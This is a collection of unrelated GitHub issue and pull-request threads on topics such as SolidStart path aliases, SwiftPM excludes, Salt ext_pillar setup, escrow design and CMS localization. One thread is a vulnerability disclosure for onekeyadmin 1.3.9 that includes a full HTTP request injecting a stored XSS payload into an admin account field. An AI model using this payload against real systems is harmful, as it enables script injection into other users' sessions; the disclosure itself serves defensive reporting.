Unable to add/update TS path alias in tsconfig.json

In a new project, it doesn't appear possible to add or change the paths defined in the tsconfig.json file.
Simple Repro
I spun up a blank project using pnpm (pn create solid -> blank) and verified that it ran correctly. Then changed the ts config path that comes predefined from ~/* to @/*, updating the references in the project accordingly. Then running dev, the following error is returned in the console:
An unhandler error occured: Error: Cannot find module '@/components/Counter' imported from '/Projects/Personal/solid-tsconfig-check/src/routes/index.tsx'

From some additional testing, it seems like the ~/* reference is likely overriding whatever is in the typescript config file in the project. That path alias remains valid even after changing it.
Being new to Solid and Solid-Start, I'm unsure if this path is just built in to Solid and to use any other custom ones requires use of a vite plugin, or if this is a build error with Solid Start.
Thanks!

Yeah I think this might be an issue with the expectation. We currently don't support the tsconfig paths directly. We use ~/ as an alias for src/*. For adding more aliases, you would need to define in both tsconfig and vite config's resolve.alias option.
But I do understand that it'll be better if we supported the tsconfig paths directly. There is a vite plugin that does this: https://www.npmjs.com/package/vite-tsconfig-paths.. You can try this until we include it with the solidstart preset

Ok, perfect. I had a suspicion that was likely the case just by how it was behaving and seemingly unresponsive to any changes made in the tsconfig paths. The vite plugin you mentioned was something I'd considered using, but didn't want to go down that path if I was just missing something else.
Thanks for the answer!

If we implement this itll probaly be using that plugin. So you can use it directly right now to support tsconfig paths

In setting up for SolidStarts next Beta Phase built on Nitro and Vinxi we are closing all PRs/Issues that will not be merged due to the system changing. If you feel your issue was closed in mistake. Feel free to re-open it after updating/testing against 0.4.x release. Thank you for your patience.

See https://github.com/solidjs/solid-start/pull/1139 for more details.


openvpn: make "username-as-common-name" opt-out

Hi Ad,
I'm assigning this for discussion, you'd know best how to integrate this. What do you think?
https://forum.opnsense.org/index.php?topic=3562.0
Cheers,
Franco

@fichtner I have to read into it, but you may assign it to me. As soon as I can find a spare moment I will look into it.

@AdSchellevis ok, we already did the use case and verification in the forum, all the info is there


Swodlr Backend logout endpoint

Task
Create a logout endpoint for swodlr-ui.
Reasoning
Need to delete the 'session' cookie to logout. This can not be done on the frontend directly as far as I can tell because the 'session' cookie is httpOnly. It probably can only be done which would be implemented on the backend with a new endpoint to perform a SetCookie with blank values to clear the cookies out. (from slack message with @joshgarde)
See the ticket from swodlr ui here https://github.com/podaac/swodlr-ui/issues/36 where this task was originally assigned.

Merged


Issue in formatter.

example.zip
Heredoc involved?

Apparently yes. Tried with master and it works fine, so a duplicate of #2054


The Assumptions Underlying the Two-Escrow Model

Would like to have your opinion about the following, I'm sure these are use cases that you considered yet they are not discussed in the whitepaper:
1. Seller is typically better informed than Buyer about the nature of the traded goods.
Somewhat extreme example: Parties agree to trade certain goods for X btc and lock the funds in escrow. Then Seller confesses that she is a swindler and has no goods to sell. So Seller is in a better position because her risk is only X btc whereas Buyer has 2X btc to risk. The best "amicable" solution for Buyer is to agree to split the 3X btc in two, lose 25% of his investment, and let Seller make 50% on her investment. If Buyer is more stressed then Seller on ever seeing his money again then he may actually agree on far worse terms.
The above plot can happen in a milder version under several scenarios, For example: The parties dispute whether a defect in the goods happened under the Seller’s or Buyer’s possession. Again, Seller has an advantage, because if she withheld her knowledge about the defect then she probably also factored her risk in advance.
2. The Buyer has an advantage when buying a tradeable commodity (e.g. gold bullions)
Once Buyer receives the goods 50% of his investment is liquid whereas Seller’s entire investment is locked. It seems that he is in a better position to re-negotiate the deal and extort better terms.
3. The two-escrow model will fail when the identity of one party is known to the other, and the other party has non-financial motives to damage the first party (political, romantic, revenge, metal illness, etc.).
In other words, one of the parties may lock the other's funds for non-financial reasons. The assumption that humans are reasonable isn't always true.
4. The two-escrow model is susceptible to out-of-band events.
One of the parties may get arrested, involved in an accident, lose their private keys, etc. those things happen, and under this model it seems that the other party remains with no remedy.
Thanks!

Seller is typically better informed than Buyer about the nature of the traded goods.

Somewhat extreme example: Parties agree to trade certain goods for X btc and lock the funds in escrow. Then Seller confesses that she is a swindler and has no goods to sell. So Seller is in a better position because her risk is only X btc whereas Buyer has 2X btc to risk. The best "amicable" solution for Buyer is to agree to split the 3X btc in two, lose 25% of his investment, and let Seller make 50% on her investment. If Buyer is more stressed then Seller on ever seeing his money again then he may actually agree on far worse terms.

This is addressed in the white paper. It's true that the system relies on the participants being willing to act punitively at their own loss, which the results on the Ultimatum Game experiments suggest they are willing to do as long as the value lost isn't large compared to their monthly income. Also, the app doesn't allow for partial refunds.

The above plot can happen in a milder version under several scenarios, For example: The parties dispute whether a defect in the goods happened under the Seller’s or Buyer’s possession. Again, Seller has an advantage, because if she withheld her knowledge about the defect then she probably also factored her risk in advance.

How does one factor in the risk of the other party being willing to act punitively? If they look at the data from the Ultimatum game, they should be very cautious about incorrectly describing their product and risking the value of their deposit plus the value of the item should the buyer be unsatisfied.

The Buyer has an advantage when buying a tradeable commodity (e.g. gold bullions)

Once Buyer receives the goods 50% of his investment is liquid whereas Seller’s entire investment is locked. It seems that he is in a better position to re-negotiate the deal and extort better terms.

The app doesn't allow renegotiation or even communication between buyer and seller. Unless the seller chooses to provide a side channel for communication in their post.

The two-escrow model will fail when the identity of one party is known to the other, and the other party has non-financial motives to damage the first party (political, romantic, revenge, metal illness, etc.).

In other words, one of the parties may lock the other's funds for non-financial reasons. The assumption that humans are reasonable isn't always true.

Yes, people can choose to loose money to simply harm others but either party that chooses to do this consistently will go bankrupt (which is the sanity test for any stable system). Also, as a major purpose of Bitmarkets is privacy, why would either party share their personal info? The seller can remain completely anonymous and while the buyer does need to provide a delivery address, this isn't necessarily an identity and would require a seller to searching for identity info related to the address. It seems like an extremely cost ineffective means of trolling compared to other options.

The two-escrow model is susceptible to out-of-band events.

One of the parties may get arrested, involved in an accident, lose their private keys, etc. those things happen, and under this model it seems that the other party remains with no remedy.

Yes, but this is a much smaller risk than seller collusion with an escrow agent (or the seller actually being the escrow agent) in three party escrow systems as witnessed by the large number of exchange and market exit scams. With two party escrow, exit scams are impossible.


Background administrator management - Adding an administrator has a storage xss vulnerability

Vulnerability affects product:onekeyadmin
Vulnerability affects version 1.3.9
Vulnerability type:storage xss vulnerability（Cross-site scripting）
Vulnerability Details：
url
http://<IP_ADDRESS>:8091/admin1#admin/index

poc
POST /admin1/admin/save HTTP/1.1
Host: <IP_ADDRESS>:8091
Content-Length: 224
Accept: /
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://<IP_ADDRESS>:8091
Referer: http://<IP_ADDRESS>:8091/admin1/admin/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2acec6968a16dbf988b4f4a2d0a58def
Connection: close

{"id":"","cover":"","account":"test<img src=1 onerror=alert("xss");>","email":"aa@xxxqq.com","nickname":"aa@xxxqq.com","login_count":"","group_id":1,"password":"aa@xxxqq.com","status":1,"create_time":"","theme":"template"}

then you can view xss in url
http://<IP_ADDRESS>:8091/admin1#admin/index

find by Chaitin Security Research Lab


[SR-13948] SPM doesn't exclude files and directories marked as exclude

Previous ID
SR-13948

Radar
rdar://problem/72160849

Original Reporter
tallariel (JIRA User)

Type
Bug

Attachment: Download

Environment
Swift 5.3
Xcode 12.2

Additional Detail from JIRA

Votes
1

Component/s
Package Manager

Labels
Bug

Assignee
None

Priority
Medium

md5: 935b0a6f5320e383eed668eabaa960a1

Issue Description:
Marking directories and files in a target's `exclude` seems to have no effect.
See an example here:
https://github.com/pocketsvg/PocketSVG/
https://github.com/pocketsvg/PocketSVG/blob/master/Package.swift#L25
I would expect "Demos", "ci", "derived_data", "PocketSVG.podspec" to be excluded, but they are still included in the package when you open it in Xcode.

Seconded! I am the developer of a free and opensource library and I find this to be very annoying.
For Cocoapods support this didn't appear for our users. For SPM support it does.
Is there any way to prioritize this?
Thanks

@neonichu this seems to be more of an Xcode issue, correct?

Yep, this is entirely about what is shown by the project navigator in Xcode.

is there better way to track this then? maybe apple feedback?

Opened a ticket on Feedback Assistant. Ticket ID: FB11422233 (Issue with Swift Package Manager)
@neonichu @tomerd - thank you for both of your prompt responses.
It means a lot for the opensource community. Let us know if there is any way we can help or to escalate this issue.
Benyam

I recently faced a similar issue. I ended up using a workaround posted here to use an empty Package.swift file like so:
// swift-tools-version:5.5

import PackageDescription

let package = Package()

@setoelkahfi is this issue reproducible for you only in Xcode or with command-line invocations of SwiftPM too?


Unable to import pointnet2_utils

Thanks for sharing.
However I'm having trouble configuring the environment：
Unable to import pointnet2_utils in pointnet2_modules.py

Thanks for sharing.
first of all, I used colab to run this code.
%cd /content/pointMLP-pytorch-main/pointnet2_ops_lib
!python setup.py install --verbose
Before using the above command to install you must change the setup.py file from lines 19-36 with the below code:
os.environ["TORCH_CUDA_ARCH_LIST"] = "7.5"
setup(
    name="pointnet2_ops",
    version=__version__,
    author="Erik Wijmans",
    packages=find_packages(),
    install_requires=requirements,
    ext_modules=[
        CUDAExtension(
            name="pointnet2_ops._ext",
            sources=_ext_sources,
            extra_compile_args={
                "cxx": ["-O3"],
                "nvcc": ["-O3", "-Xfatbin", "-compress-all", "-v"],
            },
            include_dirs=[osp.join(this_dir, _ext_src_root, "include")],
        )
    ]
Also, before running the main code, you must modify the pointnet2_utils.py file from lines 23 to 31 with the provided code below.
    os.environ["TORCH_CUDA_ARCH_LIST"] = "7.5"
    _ext = load(
        "_ext",
        sources=_ext_sources,
        extra_include_paths=[osp.join(_ext_src_root, "include")],
        extra_cflags=["-O3"],
        extra_cuda_cflags=["-O3", "-Xfatbin", "-compress-all", "-v"],
        with_cuda=True,
   )
I hope you will successfully execute the code.

Since no more discussions, let me close this issue.


new(build/registry): add command to upload rulesfiles to S3 and CI/CD trigger

Signed-off-by: Luca Guerra<EMAIL_ADDRESS>As per title. This uploads files to a rules directory in the Falco bucket (the one displayed on download.falco.org)
NOTE FOR THE REVIEWER: see inline comments

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: LucaGuerra
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [LucaGuerra]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/hold
until we sort out those two points, then I'll add the secret or var if necessary and merge

/unhold

LGTM label has been added.  Git tree hash: ca5dcaa7eb77e3b7c1fa9be3b484e64f09d79251


Confused with how to use ext_pillar

Hi,
I'm trying to generate the inventory in a module using ext_pillar, but every time I try this I get the following in the minion which doesn't start
No proxy key found in pillar or opts for id nrp1. Check your pillar/opts configuration and contents.  Salt-proxy aborted.
I've tried returning all sorts but I must be missing something fundamental.
Just wondering what I should be looking at.  As soon as I remover the ext_pillar from master file it starts again and works.
My nrp1.sls is as follows:
proxy:
  proxytype: nornir

hosts: {}
groups: {}
defaults: {}

and salt master file
interface: <IP_ADDRESS>
pki_dir: /etc/salt/pki/master
timeout: 120

file_roots:
  base:
    - /etc/salt/
    - /etc/salt/states/
    - /etc/salt/templates/
    - /etc/salt/_modules

pillar_roots:
  base:
    - /etc/salt/pillar/
    - /etc/salt/states/

ext_pillar:
  - inventory_builder

and a snippet of the ext_pillar file (inventory_builder.py) which essentially just returns a dict
def ext_pillar(minion_id, pillar, *args, **kwargs):
    _copy_file_from_salt_master(source, destination)
    device_data = inventory_builder_download_data()
    inventory_builder_data_dict = convert_json_to_dict(device_data)
    devices_to_vendors, gen = generate_devices_to_vendors(inventory_builder_data_dict)

    yaml = generate_nornir_style_inventory(devices_to_vendors, gen)
    # create python dictionary from yaml
    inventory_dict = yaml_to_dict(yaml)
    write_inventory_to_file(inventory_dict)

    return inventory_dict

Wondering how is your top.sls file looks like, does it something like:
base:
  nrp1:
    - nrp1

top.sls must be placed in same folder as nrp1.sls

Hi There,
It looks pretty standard and it is in the same folder as nrp1.sls
base:
  '*':
    - base_vars
    - mgmt_init
    - tacacs_servers
  nrp1:
    - nrp1
    - base_vars
    - mgmt_init
    ```

also tried to return a basic empty dict {} but that didn't work either
always the same brick wall error message, so something fundamentally is stopping it working either I've missed something crucial or there is some nuance in the way I'm doing it.

I even thought maybe it something to do with the structure of the master file

Also, have you accepted salt-key on mater for proxy minion?

Proxy key is accepted yes, if I remove ext_pillar and populate nrp1.sls with nornir inventory (hosts, groups, default) it works fine.  I will check for errors in master logs.  I'm running the docker instances.

@bodleytunes I have had the same issues when I was testing the code with an external pillar. It usually happened when my pillar data was not populated properly. Enable debug logging on master and see what it renders for pillar when you try to bring up the proxy minion

OK I will check.  Thing is even when I returned back an empty dict {} from the ext_pillar function (bypassed everything) it stil didn't work, is it expecting a specific bare bones structure at least?

got master logs when trying to force minion up
[DEBUG   ] Results of YAML rendering:
OrderedDict([('proxy', OrderedDict([('proxytype', 'nornir')])), ('hosts', OrderedDict()), (
'groups', OrderedDict()), ('defaults', OrderedDict())])
[PROFILE ] Time (in seconds) to render '/etc/salt/pillar/nrp1.sls' using 'yaml' renderer: 0
.00033736228942871094
[CRITICAL] The "ext_3T22:05:51.916292'}

Looks like it is malformed

this is how im generating the nornir inventory that is being returned... (this is a snippet as its quite big)
        # format the yaml file
        pyats_vendor = napalm_platform = scrapli_platform = device_params = platform = vendor["vendor"].lower()
        tmp_dict = OrderedDict({
          "hosts": {
            device: {
                "hostname": device,
                "platform": platform,
                "username": "admin",
                "password": "password123",
                "port": 22,
                "groups": [
                    platform
                ],
                "connection_options": {
                    "pyats": {
                        "extras": {
                            "devices": {
                                device: {
                                    "os": pyats_vendor,
                                    "connections": {
                                        "default": {
                                            "ip": "hostname",
                                            "protocol": "ssh",
                                            "port": 22,
                                        }
                                    }

Getting somewhere, think it was the master file that needed an argument calling the ext_pillar
changed it to:
  - inventory_builder: True

Got it from here:

I will continue troubleshooting now but I think the main problem is overcome thanks to checking the debug logs on the master which lead me to this!
Thanks you!

I see, no worries, thank you for the details, gonna try to put custom ext pillar in my lab and document a guide on how to do it, this issue gonna be quiet useful for that.
Keep me posted if you encounter any other issues.

Will do!  Thanks 👍🏻


Issues with multiple pipes in one command

If more than one pipe is used in a command, the command will have issues running.

It seems that this only occurrs if vmsh is one of the subcommands.

echo text | echo | echo | echo does not have any problems, and echo echo text | vmsh has no issues, but echo echo echo text | vmsh | vmsh has issues.

Even a simple command such as vmsh help | echo has issues

I am unsure of what even causes this. It could possibly be the recursion of running parse('help') (vmsh help) inside of parse('vmsh help | echo') (vmsh help | echo)

This will be fixed with the implimentation of browsix's command parsing system.


resolve references securely

Hello! The old dx subdoimain of the DOI resolver still works (probably redirected), but this updates the hyperlinks to using the new resolver. Cheers :-)

Coverage remained the same at 88.904% when pulling 83a11f104496fb07a75c88db8f0c2602cfa2dab8 on katrinleinweber:master into 19a09a403b3e14d20a88692f87966c5e2a88f165 on NaturalHistoryMuseum:master.


ec4 images

obsoletes #1035

/assign @pmtk @mangelajo

it seems to work (so far...) with those images

We don't need it in the end.


Localization

This PR contains the things we did for Localization.

Updates to handling of MasterContentItem (as they are in 1.10.x)
Synchronization of CultureNeutral Fields and Parts (based on Cloning)
Support for multi-language Blogs (in its own feature in the Blogs module)
Support for multi-language Taxonomies (in its own feature in the Taxonomies module)

cc:
@sebastienros @HermesSbicego-Laser @BenedekFarkas @GiuseppeMusso-Laser @LorenzoFrediani-Laser

Thanks. Again we'll need someone else to try it.

Has anyone had the chance to test this?

It's in my pipeline!

Ok. Cool.
Let me know if anything is unclear and/or messed up.

Is there anyone else we could ask to try this branch?
Maybe @urbanit ? @Xceno ? @jersiovic

Ok, the scenario that should be tested is:
create multilingual taxonomy, add them to multilingual blogpost which has some culture neutral fields as well as some culture specific fields. Publish one language, update another etc. Right?

Yes, the scenario you described cover functionality quite well, so you could start testing that one. Other combinations are possible but are less concrete.

@sebastienros Yep, I'll test it over the next two days

@MatteoPiovanelli-Laser great job!
Scenario tested:
contentItemLangSpecific
contentItemLangNeutral
contentItemNoLocalized
Taxonomy Localized with terms localized
Taxonomy Localized with terms neutral (a small bug here that terms should not have lang? otherwise user has the option to create translation and it fails)
Blog localized
Blog Post localized with:

contentItemLangSpecific
contentItemLangNeutral
contentItemNoLocalized
Taxonomy Localized with terms localised
Taxonomy Localized with terms neutral
fieldLangSpecific
fieldLangNeutral

Publishing sync as ti supposed to sync (terms, neutral ci and neutral fields),remove specific lang contents and add, when possible, the correct lang ones.
By far, the best localization implementation across all cms I have used (wordpress, drupal, dnn).

Good job @MatteoPiovanelli-Laser !
Still giving some time for @Xceno and @jersiovic to give their opinion if they want as they participated to the meetings.

Yeap it looks amazing what you implemented.  Sorry for not answering before I was not sure I could find time for testing it. Along next week I think I could give it a try.

Hi folks!
I'm done with testing and yes, it's a huge step forward for localization.

I've created various content types, created and deleted translations through ui and code in all weird ways I could imagine.
@MatteoPiovanelli-Laser, until now there was an issue that the MasterContentItem is different for different translations, that seems to be fixed now?
Taxonomy localization works really well too, but I can confirm the bug @urbanit mentioned above.
However, I think a lot of folks will appreciate the effort gone into taxonomy localization.
The culture neutral field and parts are a huge plus for me.

I also appreciate the comments throughout the code!
So, I'm happy with it and didn't find anything breaking apart. And since it'll be merged into dev we'll have enough time to test it some more.

Thanks everyone for testing this, and for the compliments.
@Xceno the MasterContentItem stuff actually got fixed in 1.10.x by a PR I did. Sometimes the MasterContentItem would not carry over correctly when chaining translations, and in fixing that everything slotted nicely into place.
I'll give a look at the small bug you guys mentioned.

Hello.
@LorenzoFrediani-Laser and I have been checking the issue you guys mentioned.
We discovered that things were not working as we designed them, because this branch was missing the implementation of the Cloning method for TaxonomyPart.
My latest commit here fixes that.
What happens now,  all taxonomies in a Localization Set share the same Term ContentType. The handler in the extension takes care of correctly matching/moving translated terms.
The Terms for taxonomies that are marked as Neutral when we create them don't have a LocalizationPart (earlier, they had it because of a default setting that would trigger because the TermTypeName was not being cloned when doing a New Translation of a taxonomy).

@Xceno @urbanit last small verification the bug is fixed before I merge it? Thanks guys 🥇

Default settings in TaxonomyField changed according to default settings in ContentPickerField as discussed in #7632 .

Hi, I tried the fix (not the latest one) and it works.  But, I do not know what's the point in a localized taxonomy to have culture neutral terms that can be selected in any language.... It 's a tricky situation... But, the bug is gone.


Analyzer fails to reject pattern for-in with a nullable expression.

The following code is accepted by the analyzer but rejected by the front end:
f(List<int>? x) {
  for (var (int y) in x) {
    print(y);
  }
}

The front end error is:
../../tmp/proj/test.dart:2:23: Error: The type 'List<int>?' used in the 'for' loop must implement 'Iterable<dynamic>' because 'List<int>?' is nullable and 'Iterable<dynamic>' isn't.
 - 'List' is from 'dart:core'.
 - 'Iterable' is from 'dart:core'.
  for (var (int y) in x) {
                      ^

The front end is correct; this code should not be allowed.
The problem is specific to pattern for-in statements. Ordinary for-in statements (that do not involve pattern syntax) lead to the correct error being reported.
A similar problem occurs with "await for".

I'm working on a fix.


Find longest word in a string function naming

Find the Longest Word in a String

https://beta.freecodecamp.com/en/challenges/basic-algorithm-scripting/find-the-longest-word-in-a-string
Issue Description
The function name findLongestWord is a little misleading as the challenge asks to return the length of the word not the word itself. How about findLongestWordLength instead?

Were you able to complete the challenge?

@d33con Yes he is right function name should be  findLongestWordLength() instead of findLongestWord(). Let me know if I can fix this issue I am a new contributor just started open source developement.

No bug, it doesn't affect the completion of the challenge. It's purely for clarity. I was going to suggest fixing as I too am looking for something like this as I've never contributed before but if @usmandap has called first then I don't mind.

Are you working on this @usmandap ?
If not, I would like to work on this.

@prateekgoel I have to work on it but no one updated me yet. I can fix it as it will be my first open source contribution but I am waiting for an approval. Since @d33con has reported this issue so I am waiting if he is going to fix it or let me give a chance to submit my first contribution.

@usmandap He already confirmed in his last comment.

@usmandap , @prateekgoel Sorry for any confusion, I thought a person from fCC was going to come in and assign it or something. I'll start working on it this weekend.

@d33con Sounds good.. 👍

Hey @usmandap. You can do this if you want. I've tried and I'm having problems with node errors when running the tests. I've asked for help in the chat twice and re-installed the repo & dependencies sveral times but I'm getting the same thing. It's not worth the time anymore just to change one word. I hope you have better luck than me!

@d33con Thanks bro and sure I will give it a try.

#15744

#15744


The Tracing docs imply that you should use a URL in tracing.otel.endpointAddress but it's looking for a hostname or hostname:port

Describe the issue
The Setup Tracing docs imply that you should use a URL in tracing.otel.endpointAddress but it's looking for a hostname or hostname:port
URL of the docs
https://docs.dapr.io/operations/observability/tracing/setup-tracing/
Expected content
Should clarify this should be hostname or hostname:port and remove the https:// ... block
Screenshots
Additional context

This has been resolved - thank you for your contribution!


Added CLSCompliant(true)

The CLS compliant got dropped when switching project format, see #128  for background.
This adds it back

Thanks, that was fast!

Thanks for spotting and fixing!
You have been quite active on this project and providing quality commits and discussions, which I appreciate a lot.
Would you be interested in joining as a collaborator?
I sometimes struggle to find the time and it would be good to have some extra pair of hands to ensure the library continues to evolve and improve. @JKSnd is the only other collaborator today.

Nuget 3.67 on the way.

@anjdreas Sorry, mean to answer earlier and left the reply in the browser without pressing "comment".
I'd be happy to review PRs and issues, but just be aware that I don't have that much time either.

Great! I'll sign you up then. I don't expect much of your time and no obligations. Feel free to take on the review of any issue or PR by marking yourself as Assigned. I may also call out for help if I want to discuss something or if a PR needs attention and I don't find the time myself.
Ok by you?

Sounds good!


PDF.JS not working in Microsoft Edge but in Chrome

Attach (recommended) or Link to PDF file here:
Configuration:

Web browser and its version: Microsoft Edge 17.1
Operating system and its version: Windows 10
PDF.js version: newest
Is a browser extension:

Steps to reproduce the problem:

The Pdf is not loaded Properly, only Console log is SCRIPT0: SCRIPT0: Script Error
The URL of the PDF is rightly set and in Chrome it works without any Problems

What is the expected behavior? (add screenshot)
The PDF should be rendered and loaded
What went wrong? (add screenshot)

Link to a viewer (if hosted on a site other than mozilla.github.io/pdf.js or as Firefox/Chrome extension):
https://healthjobs.ch/inserate/sachbearbeiter-in-finanzbuchhaltung-80/

PDF.js version: newest

Please provide actual version numbers, since "newest" is unfortunately of no use since it could mean any number of things (e.g. the latest stable release, the latest pre-release, or the latest master version).

Sorry about that, i´m using the Version from this source //mozilla.github.io/pdf.js/build/pdf.js not sure what Version it is, since i tried using a hosted one from cdn i´m getting this error: message_handler.js:113 Uncaught Error: Unknown action from worker: undefined
at Worker.MessageHandler._onComObjOnMessage (message_handler.js:113)

i´m using the Version from this source //mozilla.github.io/pdf.js/build/pdf.js

Do you mean that you're linking directly to that file? If so, please do not do that!
It's generally advised to use official releases, rather than anything else, please see https://github.com/mozilla/pdf.js/releases

since i tried using a hosted one from cdn i´m getting this error:

Most likely, you tried to use different versions of the pdf.js and pdf.worker.js files, which is not supported.

If using an official release doesn't already fix things, then please see https://github.com/mozilla/pdf.js/blob/master/.github/CONTRIBUTING.md (emphasis mine):

If you are developing a custom solution, first check the examples at https://github.com/mozilla/pdf.js#learning and search existing issues. If this does not help, please prepare a short well-documented example that demonstrates the problem and make it accessible online on your website, JS Bin, GitHub, etc. before opening a new issue or contacting us on the IRC channel -- keep in mind that just code snippets won't help us troubleshoot the problem.

Thank you for your help, new to that all.. Now integrated the worker and pdf.js... since that it works! Thank you for your time
Greetings Julian


raspberrypi0-2w-64: Use same icon as the Pi Zero Wifi

We initially used the icon from the device repository,
however, that one appears to be larger. Let's
re-use the icon from the device contracts instead.
Change-type: patch
Signed-off-by: Alexandru Costache<EMAIL_ADDRESS>

@balena-ci I self-certify!


Updates PWA screenshots and documentation

Removes references to one sample app that is no longer online
Replaces three existing screenshots, all using the same sample app
Removes one screenshot that is not relevant to the sample app
Updates documentation text accordingly

Docs Build status updates of commit 646f6ef:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

microsoft-edge/devtools-guide-chromium/media/cache-pane-cache-storage.msft.png
:white_check_mark:Succeeded

microsoft-edge/devtools-guide-chromium/media/cache-pane-cache-storage-resources.msft.png
:white_check_mark:Succeeded
View

microsoft-edge/devtools-guide-chromium/media/manifest-pane.msft.png
:white_check_mark:Succeeded
View

microsoft-edge/devtools-guide-chromium/media/service-workers-pane.msft.png
:white_check_mark:Succeeded
View

microsoft-edge/devtools-guide-chromium/progressive-web-apps/index.md
:white_check_mark:Succeeded
View

microsoft-edge/extensions-chromium/developer-guide/declare-permissions.md
:white_check_mark:Succeeded
View

microsoft-edge/extensions-chromium/publish/api/using-addons-api.md
:white_check_mark:Succeeded
View

microsoft-edge/webview2/release-notes.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Enable user configurable comma separated list of times instead of a single time pro rotation

Use of two notification times per rotation (e.g. at 3 and 5 minutes) could be used as an optional early rotation time and a mandatory rotation time and so offer more flexibility to the mob.
When the non-final times are up, the timer should show a notification and/or play a sound and continue counting.
We have tried this kind of timer in our mob retreats as configured at https://www.online-stopwatch.com/full-screen-interval-timer/?c=80wgdfd2hg

I'm going to have to chew on this for a bit.
I'm not sure how common of a use case it is, and it's easy to just stop the timer early and rotate if the mob feels like a specific turn is done before the time runs out.
I'm also not sure what the UI will look like for this. Currently the main timer has the [x] to stop the timer early and rotate. Does the secondary timer have a similar feature? If the app doesn't provide any obvious feedback to the user on the first timer "early" timer, how do I prompt the mob?
I'm not 100% against this feature, but I think I need other users not part of this mob retreat to have some buy in; I'm hesitant to add a complex feature for one particular use case.

Usually, only one time is configured and so this feature would have no implications for the common use case.
There is no secondary timer. if more than a single value is configured, all intermediate values only trigger an additional notification or sound.
After [x] the remaining time should be reset to the maximum value so that the timer is restarted from the beginning.

Yesterday I facilitated a session with a fix 3 minutes timer. As a facilitator, I pointed out that there is no personal code ownership and the code does not need to compile and pass all tests at the rotation. And, actually, I currently think that it worked even better than having an option to change after 3 minutes.  I do not close the issue so that you can decide to implement it or not.

Let's leave this issue open until we figure out if we keep the combined soft/hard limit timer at our MobRetreat events or move to a single timer.
I do understand that use cases besides the MobRetreat events are required for adding this complexity.


feat: Labwareheighterror for Fixed Trash should offer more specific troubleshooting steps

Overview
If your deck and pipette calibration stack are bad enough it could result in a LabwareHeightError for the fixed trash in slot 12. The guidance on how to fix this issue is "This may be because the labware is incorrectly defined, incorrectly calibrated, or physically too tall. Please check your labware definitions and calibrations.". This is does not makes sense to the normal user and is not an accurate description of the problem. The instructions on how to resolve this issue should include:

Checking the feature flags to make sure the tall trash feature is not selected
Resetting pipette calibration
Performing deck calibration
Perform pipette calibration

Or

Checking the feature flags to make sure the tall trash feature is not selected
Checking the robot's calibration with the calibration check.

Related #6043


chore: match bazzites topgrade.toml

Have include field.

@castrojo need to revert this, unless that file exists in /etc this breaks topgrade.


Clarify docs about single-node and/or intranet installation

At  https://flynn.io/docs/installation/manual:

If you are starting more than one node, the cluster should be configured using a discovery token. flynn-host init is a tool that handles generating and configuring the token.

Does this mean that I can actually skip sudo flynn-host init commands if I'm going single-node?
Later on, when I run flynn-host bootstrap, should I omit --discovery-url if going single-node?
If I run discovery commands and pass --discovery-url, I get:
14:56:17.184567 check online-hosts
14:58:18.095882 check online-hosts error: timed out waiting for 1 hosts to come online (currently 0 online)

The following hosts were discovered but remained unreachable:

And if I omit --discovery-url, I get:
15:00:31.207176 check online-hosts
15:02:31.253575 check online-hosts error: timed out waiting for 1 hosts to come online (currently 0 online)

The following hosts were discovered but remained unreachable:

http://<IP_ADDRESS>:1113

I got flynn-host running, but it doesn't listen to that port (it doesn't seem to listen any port)... should it?
Trying to flynn create example gives:
15:23:54.433097 main.go:172: no clusters configured

My instance is in intranet, configured into an internal DNS server.
I have (now) http_proxy, https_proxy, HTTP_PROXY and HTTPS_PROXY environment variables set (to survive through the installation), but where/how should I configure them for flynn?

It is probably a bug in the current version of flynn, maybe just try v20160918.1.

Does this mean that I can actually skip sudo flynn-host init commands if I'm going single-node?

Yes.

Later on, when I run flynn-host bootstrap, should I omit --discovery-url if going single-node?

Yes.
From your issue it sounds like the flynn-host process is not running or there is a restrictive firewall configured. Also, Flynn does not currently support proxies (see #1973).

Alright, fair enough. I guess I'll wait until proxy support is available...

I admit I was confused as well. Is it still necessary to create a CNAME DNS record with one node? The only thing that I see the DNS setting being used is for service discovery

@webmutation To access an application running in Flynn you need a working route to it.
In order to resolve applications in flynn dynamically, you require a wildcard DNS entry:
i.e. <appname>.my.flynn.cluster.com, so you need DNS settings in place which resolve *.my.flynn.cluster.com to your flynn cluster nodes.


Host password issue

When re-hosting a game after two successful net games, the client's password is no longer accepted. Hosted lobby must be restarted (not the game itself)
It really does feel like a SLikeNet library bug, as my game code looks correct

Password stuff totally rewritten and working. No dependency on SlikeNet/RakNet now.


Create a 2.0 version where everything is provided as a service?

yeah. dont think that throwing everything into one base class is such a great design. but this is obviously more of a 2.0 topic. but if you are motivated there is also the other open PR marked for 2.0

https://github.com/liip/LiipFunctionalTestBundle/issues/6#issuecomment-183060553


REINERSCT.cyberJackDriverPackage version 1.3.1

[x] Have you signed the Contributor License Agreement?
[x] Have you checked that there aren't other open pull requests for the same manifest update/change?
[x] This PR only modifies one (1) manifest
[x] Have you validated your manifest locally with winget validate --manifest <path>?

[x] Does your manifest conform to the 1.5 schema?

Note: <path> is the name of the directory containing the manifest you're submitting.

Fixes #113811
Microsoft Reviewers: Open in CodeFlow

This manifest contains a term that is blocked:

True True

(Automated response - build 522.)


Repcred testing - Healthy Controls

Did the following search on the Gateway:

Study Group = "Control (Healthy)"
Sorted from small to large sequence count (so testing was faster since started with the smallest repertoires)
Manually, for each study from small to large, run repcred on the all of the repertoires from the subject with the smallest sequence count - that is just one subject from each study, and then run repcred on all of the repertoires from that subject. Some subjects of course only have one repertoires, some have several.

Essentially did this search as a somewhat random query to narrow down the repertoires that I test while at the same time getting a decent sample across studies (and therefore annotation tools) and IG/TR loci. Started from small to big so the testing was faster.
Here are the results:

